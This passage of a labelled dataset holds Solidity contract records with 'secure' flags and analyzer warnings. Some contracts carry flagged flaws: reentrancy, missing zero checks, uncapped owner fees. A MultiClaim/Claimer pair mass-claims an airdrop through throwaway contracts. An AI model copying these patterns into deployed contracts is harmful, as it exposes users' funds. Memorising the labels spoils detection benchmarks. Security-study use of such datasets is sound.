"code": "// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity ^0.8.0;\n\nimport \"./IPositionManagerDependent.sol\" as IPositionManagerDependent;\n\nabstract contract PositionManagerDependent is IPositionManagerDependent {\n address public immutable override positionManager;\n\n modifier onlyPositionManager() {\n if (msg.sender != positionManager) {\n revert CallerIsNotPositionManager(msg.sender);\n }\n _;\n }\n\n constructor(address positionManager_) {\n if (positionManager_ == address(0)) {\n revert PositionManagerCannotBeZero();\n }\n positionManager = positionManager_;\n }\n}",
"file_name": "solidity_code_3290.sol",
"secure": 1,
"size_bytes": 657
} |
{
"code": "// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20Indexable.sol\" as IERC20Indexable;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol\" as ERC20Capped;\nimport \"./PositionManagerDependent.sol\" as PositionManagerDependent;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./Fixed256x18.sol\" as Fixed256x18;\n\ncontract ERC20Indexable is\n IERC20Indexable,\n ERC20Capped,\n PositionManagerDependent\n{\n using Fixed256x18 for uint256;\n\n uint256 public constant override INDEX_PRECISION = Fixed256x18.ONE;\n\n uint256 internal storedIndex;\n\n constructor(\n address positionManager_,\n string memory name_,\n string memory symbol_,\n uint256 cap_\n )\n ERC20(name_, symbol_)\n ERC20Capped(cap_)\n PositionManagerDependent(positionManager_)\n {\n storedIndex = INDEX_PRECISION;\n emit ERC20IndexableDeployed(positionManager_);\n }\n\n function mint(\n address to,\n uint256 amount\n ) public virtual override onlyPositionManager {\n _mint(to, amount.divUp(storedIndex));\n }\n\n function burn(\n address from,\n uint256 amount\n ) public virtual override onlyPositionManager {\n _burn(\n from,\n amount == type(uint256).max\n ? ERC20.balanceOf(from)\n : amount.divUp(storedIndex)\n );\n }\n\n function setIndex(\n uint256 backingAmount\n ) external override onlyPositionManager {\n uint256 supply = ERC20.totalSupply();\n uint256 newIndex = (backingAmount == 0 && supply == 0)\n ? INDEX_PRECISION\n : backingAmount.divUp(supply);\n storedIndex = newIndex;\n emit IndexUpdated(newIndex);\n }\n\n function currentIndex() public view virtual override returns (uint256) {\n return storedIndex;\n }\n\n function totalSupply()\n public\n view\n virtual\n override(IERC20, ERC20)\n returns (uint256)\n {\n return ERC20.totalSupply().mulDown(currentIndex());\n }\n\n function balanceOf(\n address account\n ) public view virtual override(IERC20, ERC20) returns (uint256) {\n return ERC20.balanceOf(account).mulDown(currentIndex());\n }\n\n function transfer(\n address,\n uint256\n ) public virtual override(IERC20, ERC20) returns (bool) {\n revert NotSupported();\n }\n\n function allowance(\n address,\n address\n ) public view virtual override(IERC20, ERC20) returns (uint256) {\n revert NotSupported();\n }\n\n function approve(\n address,\n uint256\n ) public virtual override(IERC20, ERC20) returns (bool) {\n revert NotSupported();\n }\n\n function transferFrom(\n address,\n address,\n uint256\n ) public virtual override(IERC20, ERC20) returns (bool) {\n revert NotSupported();\n }\n\n function increaseAllowance(\n address,\n uint256\n ) public virtual override returns (bool) {\n revert NotSupported();\n }\n\n function decreaseAllowance(\n address,\n uint256\n ) public virtual override returns (bool) {\n revert NotSupported();\n }\n}",
"file_name": "solidity_code_3291.sol",
"secure": 1,
"size_bytes": 3371
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IHopRouter.sol\" as IHopRouter;\n\ncontract BridgeETHToArbitrumETH {\n\t// WARNING Optimization Issue (immutable-states | ID: a8da3b0): BridgeETHToArbitrumETH.hopRouter should be immutable \n\t// Recommendation for a8da3b0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IHopRouter public hopRouter;\n\n constructor(address _hopRouter) {\n hopRouter = IHopRouter(_hopRouter);\n }\n\n receive() external payable {\n uint256 chainId = 42161;\n address recipient = msg.sender;\n uint256 amount = msg.value;\n uint256 amountOutMin = 0;\n uint256 deadline = block.timestamp + 3600;\n address relayer = address(0);\n uint256 relayerFee = 0;\n\n hopRouter.sendToL2{value: amount}(\n chainId,\n recipient,\n amount,\n amountOutMin,\n deadline,\n relayer,\n relayerFee\n );\n }\n}",
"file_name": "solidity_code_3292.sol",
"secure": 1,
"size_bytes": 1066
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract CLOWN is ERC20, ERC20Burnable, Ownable {\n constructor() ERC20(\"CLOWN\", \"CLOWN\") {\n _mint(msg.sender, 100000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3293.sol",
"secure": 1,
"size_bytes": 453
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface Airdrop {\n\t// WARNING Vulnerability (erc20-interface | severity: Medium | ID: edb9b7e): Airdrop has incorrect ERC20 function interfaceAirdrop.transfer(address,uint256)\n\t// Recommendation for edb9b7e: Set the appropriate return values and types for the defined 'ERC20' functions.\n function transfer(address recipient, uint256 amount) external;\n function balanceOf(address account) external view returns (uint256);\n function claim() external;\n}",
"file_name": "solidity_code_3294.sol",
"secure": 0,
"size_bytes": 533
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./Claimer.sol\" as Claimer;\n\ncontract MultiClaim {\n address immutable deployer;\n\n constructor() {\n deployer = msg.sender;\n }\n\n function multiClaim(uint256 times) external {\n for (uint256 i = 0; i < times; ++i)\n new Claimer(i % 10 == 5 ? deployer : msg.sender);\n }\n}",
"file_name": "solidity_code_3295.sol",
"secure": 1,
"size_bytes": 391
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./Airdrop.sol\" as Airdrop;\n\ncontract Claimer {\n Airdrop constant airdrop =\n Airdrop(0x1c7E83f8C581a967940DBfa7984744646AE46b29);\n\n constructor(address recipient) {\n airdrop.claim();\n airdrop.transfer(recipient, airdrop.balanceOf(address(this)));\n selfdestruct(payable(tx.origin));\n }\n}",
"file_name": "solidity_code_3296.sol",
"secure": 1,
"size_bytes": 407
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract AIINEDIBLE is ERC20 {\n constructor() ERC20(\"AIINEDIBLE\", \"AIINEDIBLE\") {\n _mint(msg.sender, 300000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3297.sol",
"secure": 1,
"size_bytes": 286
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract CBS is Ownable {\n string public name;\n string public symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 69b1c96): CBS.decimals should be immutable \n\t// Recommendation for 69b1c96: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n uint256 public totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: fcaa887): CBS.decimalfactor should be immutable \n\t// Recommendation for fcaa887: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 decimalfactor;\n uint256 public Max_Token;\n bool mintAllowed = true;\n\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Burn(address indexed from, uint256 value);\n\t// WARNING Optimization Issue (constable-states | ID: aa08fd0): CBS.selfAddress should be constant \n\t// Recommendation for aa08fd0: Add the 'constant' attribute to state variables that never change.\n address public selfAddress = 0xBdc8c29EA571fa8339eBe6028E00adEa2b11023c;\n\t// WARNING Optimization Issue (constable-states | ID: 4e3d05d): CBS.ICOAddress should be constant \n\t// Recommendation for 4e3d05d: Add the 'constant' attribute to state variables that never change.\n address public ICOAddress = 0x57b2791922b92267c651940b8B9a6f9ef61B0A98;\n\t// WARNING Optimization Issue (constable-states | ID: ede6e0e): CBS.AirdropAddress should be constant \n\t// Recommendation for ede6e0e: Add the 'constant' attribute to state variables that never change.\n address public AirdropAddress = 0x92cCD32c42c18Ee14622dF90b3060F4396dc5Bb4;\n\n constructor(string memory SYMBOL, string memory NAME, uint8 DECIMALS) {\n symbol = SYMBOL;\n name = NAME;\n decimals = DECIMALS;\n decimalfactor = 10 ** uint256(decimals);\n Max_Token = 1000000000 * decimalfactor;\n mint(selfAddress, 500000000 * decimalfactor);\n mint(ICOAddress, 350000000 * decimalfactor);\n mint(AirdropAddress, 150000000 * decimalfactor);\n }\n\n function _transfer(address _from, address _to, uint256 _value) internal {\n require(_to != address(0));\n require(balanceOf[_from] >= _value);\n require(balanceOf[_to] + _value >= balanceOf[_to]);\n uint256 previousBalances = balanceOf[_from] + balanceOf[_to];\n balanceOf[_from] -= _value;\n balanceOf[_to] += _value;\n\n emit Transfer(_from, _to, _value);\n assert(balanceOf[_from] + balanceOf[_to] == previousBalances);\n }\n\n function transfer(address _to, uint256 _value) public returns (bool) {\n _transfer(msg.sender, _to, _value);\n return true;\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) public returns (bool success) {\n require(_value <= allowance[_from][msg.sender], \"Allowance error\");\n allowance[_from][msg.sender] -= _value;\n _transfer(_from, _to, _value);\n return true;\n }\n\n function approve(\n address _spender,\n uint256 _value\n ) public returns (bool success) {\n allowance[msg.sender][_spender] = _value;\n return true;\n }\n\n function burn(uint256 _value) public returns (bool success) {\n require(balanceOf[msg.sender] >= _value);\n balanceOf[msg.sender] -= _value;\n Max_Token -= _value;\n totalSupply -= _value;\n emit Burn(msg.sender, _value);\n return true;\n }\n\n function mint(address _to, uint256 _value) public returns (bool success) {\n require(Max_Token >= (totalSupply + _value));\n require(mintAllowed, \"Max supply reached\");\n if (Max_Token == (totalSupply + _value)) {\n mintAllowed = false;\n }\n require(msg.sender == owner, \"Only Owner Can Mint\");\n balanceOf[_to] += _value;\n totalSupply += _value;\n require(balanceOf[_to] >= _value);\n emit Transfer(address(0), _to, _value);\n return true;\n }\n}",
"file_name": "solidity_code_3298.sol",
"secure": 1,
"size_bytes": 4373
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract MCETH is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) public _isExcludedFromFee;\n\n address payable public _taxWallet;\n address public constant deadAddress =\n address(0x000000000000000000000000000000000000dEaD);\n\n uint256 public marketingFee = 2;\n uint256 public liquidityFee = 1;\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 18;\n uint256 private _tTotal = 100000000 * 10 ** _decimals;\n string private constant _name = \"McEth\";\n string private constant _symbol = \"MCE\";\n uint256 public _maxWalletSize = 3000000 * 10 ** _decimals;\n uint256 public marketingTokens;\n uint256 public liquidityTokens;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 48f38bd): MCETH.uniswapV2Router should be immutable \n\t// Recommendation for 48f38bd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 3d2cdaf): MCETH.uniswapV2Pair should be immutable \n\t// Recommendation for 3d2cdaf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\t// WARNING Optimization Issue (constable-states | ID: e347381): MCETH.swapEnabled should be constant \n\t// Recommendation for e347381: Add the 'constant' attribute to state variables that never change.\n bool private swapEnabled = false;\n\n event MaxWalletAmountUpdated(uint256 _maxTxAmount);\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiqudity\n );\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9229262): MCETH.constructor(address)._marketingWallet lacks a zerocheck on \t _taxWallet = address(_marketingWallet)\n\t// Recommendation for 9229262: Check that the address is not zero.\n constructor(address _marketingWallet) {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// missing-zero-check | ID: 9229262\n _taxWallet = payable(_marketingWallet);\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8ba1c6d): MCETH.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8ba1c6d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: af02bac): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for af02bac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 61ddc56): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 61ddc56: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: af02bac\n\t\t// reentrancy-benign | ID: 61ddc56\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: af02bac\n\t\t// reentrancy-benign | ID: 61ddc56\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1128888): MCETH._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1128888: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 41979f8\n\t\t// reentrancy-benign | ID: 61ddc56\n\t\t// reentrancy-benign | ID: cfbfff5\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 7673152\n\t\t// reentrancy-events | ID: 3fc805a\n\t\t// reentrancy-events | ID: af02bac\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3fc805a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3fc805a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 41979f8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 41979f8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e86e98a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e86e98a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 marketingAmount = 0;\n uint256 liquidityAmount = 0;\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n _buyCount++;\n\n marketingAmount = amount.mul(marketingFee).div(100);\n\n liquidityAmount = amount.mul(liquidityFee).div(100);\n }\n\n if (\n to == uniswapV2Pair &&\n from != address(this) &&\n !_isExcludedFromFee[from]\n ) {\n marketingAmount = amount.mul(marketingFee).div(100);\n\n liquidityAmount = amount.mul(liquidityFee).div(100);\n }\n\n taxAmount = marketingAmount + liquidityAmount;\n marketingTokens += marketingAmount;\n liquidityTokens += liquidityAmount;\n\n if (\n from != address(this) &&\n to != uniswapV2Pair &&\n to != address(uniswapV2Router)\n ) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (taxAmount > 0) {\n _balances[address(this)] = _balances[address(this)].add(\n taxAmount\n );\n if (to == uniswapV2Pair) {\n uint256 tokensToSwap = marketingTokens;\n marketingTokens = 0;\n uint256 initialBalance = address(this).balance;\n\t\t\t\t\t// reentrancy-events | ID: 3fc805a\n\t\t\t\t\t// reentrancy-benign | ID: 41979f8\n\t\t\t\t\t// reentrancy-eth | ID: e86e98a\n swapTokensForEth(tokensToSwap);\n uint256 ethToTransfer = address(this).balance -\n initialBalance;\n if (ethToTransfer > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 3fc805a\n\t\t\t\t\t\t// reentrancy-events | ID: af02bac\n\t\t\t\t\t\t// reentrancy-eth | ID: e86e98a\n payable(_taxWallet).transfer(ethToTransfer);\n }\n\t\t\t\t\t// reentrancy-events | ID: 3fc805a\n\t\t\t\t\t// reentrancy-benign | ID: 41979f8\n\t\t\t\t\t// reentrancy-eth | ID: e86e98a\n swapAndLiquify();\n }\n }\n }\n\t\t// reentrancy-eth | ID: e86e98a\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: e86e98a\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: 3fc805a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function includeOrExcludeFromFee(\n address _addr,\n bool _state\n ) external onlyOwner {\n _isExcludedFromFee[_addr] = _state;\n }\n\n function removeLimits() external onlyOwner {\n _maxWalletSize = _tTotal;\n emit MaxWalletAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: fa3c7e9): MCETH.changeTaxWallet(address)._add lacks a zerocheck on \t _taxWallet = address(_add)\n\t// Recommendation for fa3c7e9: Check that the address is not zero.\n function changeTaxWallet(address _add) external onlyOwner {\n\t\t// missing-zero-check | ID: fa3c7e9\n _taxWallet = payable(_add);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9afe03f): MCETH.setFees(uint256,uint256) should emit an event for marketingFee = _marketing liquidityFee = _liquidity \n\t// Recommendation for 9afe03f: Emit an event for critical parameter changes.\n function setFees(\n uint256 _marketing,\n uint256 _liquidity\n ) external onlyOwner {\n\t\t// events-maths | ID: 9afe03f\n marketingFee = _marketing;\n\t\t// events-maths | ID: 9afe03f\n liquidityFee = _liquidity;\n }\n\n function withDrawETH() external onlyOwner {\n require(address(this).balance > 0, \"Not enough eth\");\n payable(owner()).transfer(address(this).balance);\n }\n\n function withdrawStuckTokens() external onlyOwner {\n uint256 balance = balanceOf(address(this));\n require(balance > 0, \"No balance to withdraw\");\n _transfer(address(this), owner(), balance);\n }\n\n function burn(uint256 amount) external {\n require(msg.sender != address(0), \"ERC20: burn from the zero address\");\n uint256 accountBalance = _balances[msg.sender];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[msg.sender] = accountBalance - amount;\n _tTotal -= amount;\n }\n emit Transfer(msg.sender, address(0), amount);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5da40bd): MCETH.setMaxWalletAmount(uint256) should emit an event for _maxWalletSize = _amount \n\t// Recommendation for 5da40bd: Emit an event for critical parameter changes.\n function setMaxWalletAmount(uint256 _amount) external onlyOwner {\n\t\t// events-maths | ID: 5da40bd\n _maxWalletSize = _amount;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7673152): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7673152: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4dae36b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4dae36b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cfbfff5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cfbfff5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapAndLiquify() private {\n uint256 otherPiece = liquidityTokens / (2);\n uint256 tokenAmountToBeSwapped = liquidityTokens - (otherPiece);\n\n\t\t// reentrancy-eth | ID: e86e98a\n liquidityTokens = 0;\n\n uint256 initialBalance = address(this).balance;\n\t\t// reentrancy-events | ID: 7673152\n\t\t// reentrancy-events | ID: 4dae36b\n\t\t// reentrancy-benign | ID: cfbfff5\n swapTokensForEth(tokenAmountToBeSwapped);\n\n uint256 ETHToBeAddedToLiquidity = address(this).balance -\n (initialBalance);\n\n\t\t// reentrancy-events | ID: 7673152\n\t\t// reentrancy-benign | ID: cfbfff5\n _approve(address(this), address(uniswapV2Router), otherPiece);\n\n\t\t// reentrancy-events | ID: 4dae36b\n addLiquidity(otherPiece, ETHToBeAddedToLiquidity);\n\n\t\t// reentrancy-events | ID: 3fc805a\n\t\t// reentrancy-events | ID: 4dae36b\n emit SwapAndLiquify(\n tokenAmountToBeSwapped,\n ETHToBeAddedToLiquidity,\n otherPiece\n );\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 7673152\n\t\t// reentrancy-events | ID: 3fc805a\n\t\t// reentrancy-events | ID: af02bac\n\t\t// reentrancy-events | ID: 4dae36b\n\t\t// reentrancy-benign | ID: 41979f8\n\t\t// reentrancy-benign | ID: 61ddc56\n\t\t// reentrancy-benign | ID: cfbfff5\n\t\t// reentrancy-eth | ID: e86e98a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 41a0dd8): MCETH.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,deadAddress,block.timestamp + 45)\n\t// Recommendation for 41a0dd8: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n\t\t// reentrancy-events | ID: 3fc805a\n\t\t// reentrancy-events | ID: af02bac\n\t\t// reentrancy-events | ID: 4dae36b\n\t\t// reentrancy-benign | ID: 41979f8\n\t\t// reentrancy-benign | ID: 61ddc56\n\t\t// unused-return | ID: 41a0dd8\n\t\t// reentrancy-eth | ID: e86e98a\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n deadAddress,\n block.timestamp + 45\n );\n }\n}",
"file_name": "solidity_code_3299.sol",
"secure": 0,
"size_bytes": 17676
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Token is ERC20 {\n constructor() ERC20(\"JDVance's dog\", \"Atlas\") {\n _mint(msg.sender, 2100_0000 ether);\n }\n}",
"file_name": "solidity_code_33.sol",
"secure": 1,
"size_bytes": 263
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address recipient, uint256 amount) external returns (bool);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n}",
"file_name": "solidity_code_330.sol",
"secure": 1,
"size_bytes": 440
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract SECBTC is ERC20 {\n constructor() ERC20(\"SEC Bitcoin\", \"SECBTC\") {\n uint256 tokenSupply = 210000000000;\n _mint(msg.sender, tokenSupply * (10 ** decimals()));\n }\n}",
"file_name": "solidity_code_3300.sol",
"secure": 1,
"size_bytes": 325
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract LEAVEOURKIDSALONE is ERC20, Ownable {\n constructor(address _to) ERC20(\"LEAVE OUR KIDS ALONE\", \"LOKA\") {\n _mint(_to, 6900000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3301.sol",
"secure": 1,
"size_bytes": 376
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract RoosCoin {\n using SafeMath for uint256;\n\n string private constant _name = \"Roos Coin\";\n string private constant _symbol = \"Roos\";\n uint8 private constant _decimals = 18;\n\t// WARNING Optimization Issue (constable-states | ID: 6f54aeb): RoosCoin._totalSupply should be constant \n\t// Recommendation for 6f54aeb: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 10_000_000_000_000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: bb2e5b7): RoosCoin._burnRate should be constant \n\t// Recommendation for bb2e5b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _burnRate = 50;\n\t// WARNING Optimization Issue (constable-states | ID: 832dd17): RoosCoin._liquidityFeeRate should be constant \n\t// Recommendation for 832dd17: Add the 'constant' attribute to state variables that never change.\n uint256 private _liquidityFeeRate = 1;\n\t// WARNING Optimization Issue (constable-states | ID: e808ce3): RoosCoin._redistributionRate should be constant \n\t// Recommendation for e808ce3: Add the 'constant' attribute to state variables that never change.\n uint256 private _redistributionRate = 100;\n\t// WARNING Optimization Issue (constable-states | ID: 4fa913e): RoosCoin._buybackFeeRate should be constant \n\t// Recommendation for 4fa913e: Add the 'constant' attribute to state variables that never change.\n uint256 private _buybackFeeRate = 5;\n\n address private _owner;\n\t// WARNING Optimization Issue (constable-states | ID: a2e69ed): RoosCoin._buybackWallet should be constant \n\t// Recommendation for a2e69ed: Add the 'constant' attribute to state variables that never change.\n address private _buybackWallet = 0x03f402c57EB6839CA70856756032080CAf1Ab58D;\n address private _liquidityPool;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n address[] private _tokenHolders;\n\n mapping(address => bool) private _excludedFromFees;\n mapping(address => bool) private _excludedFromRewards;\n\n bool private _feesEnabled = true;\n\n modifier onlyOwner() {\n require(\n msg.sender == _owner,\n \"Only the contract owner can call this function.\"\n );\n _;\n }\n\n constructor() {\n _owner = msg.sender;\n _balances[msg.sender] = _totalSupply;\n _tokenHolders.push(msg.sender);\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view returns (uint256) {\n return _totalSupply;\n }\n\n function 